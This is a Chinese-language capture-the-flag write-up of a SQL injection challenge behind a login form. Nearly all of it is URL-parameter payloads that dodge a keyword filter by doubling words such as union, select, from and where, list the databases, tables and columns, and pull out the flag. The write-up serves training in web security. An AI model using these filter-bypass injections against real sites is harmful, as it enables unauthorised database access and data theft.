题目
拿到题目是一个登录框,结合题目来看,应该是个注入题
点击登录之后
分析
?username=admin&password=admin'
?username=admin&password=admin' oorr 1=1--+
?username=admin&password=admin' ununionion seselectlect 1,2,3--+
发现or,union,select都被过滤了,可以双写绕过
开始爆库
?username=admin&password=admin' ununionion seselectlect 1,2,database()--+
发现当前连接的数据库是geek
爆破所有的数据库
?username=admin&password=pwd' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
我们发现了有一个ctf的库,猜想可能从这个库中得到flag(我们还是用geek这个库演示)
爆表,此时注意information被过滤了or,from也被过滤了,还包括where所以都双写一下
?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)whwhereere table_schema="geek" %23
爆ctf库的表ctf库的表 ,此处发现Flag表
?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23
查Flag表中的字段名都有什么
?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23
最后查看字段的数据
?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23
得到flag{09e4d1ce-896c-4ce8-a0cd-69a8b3297d28}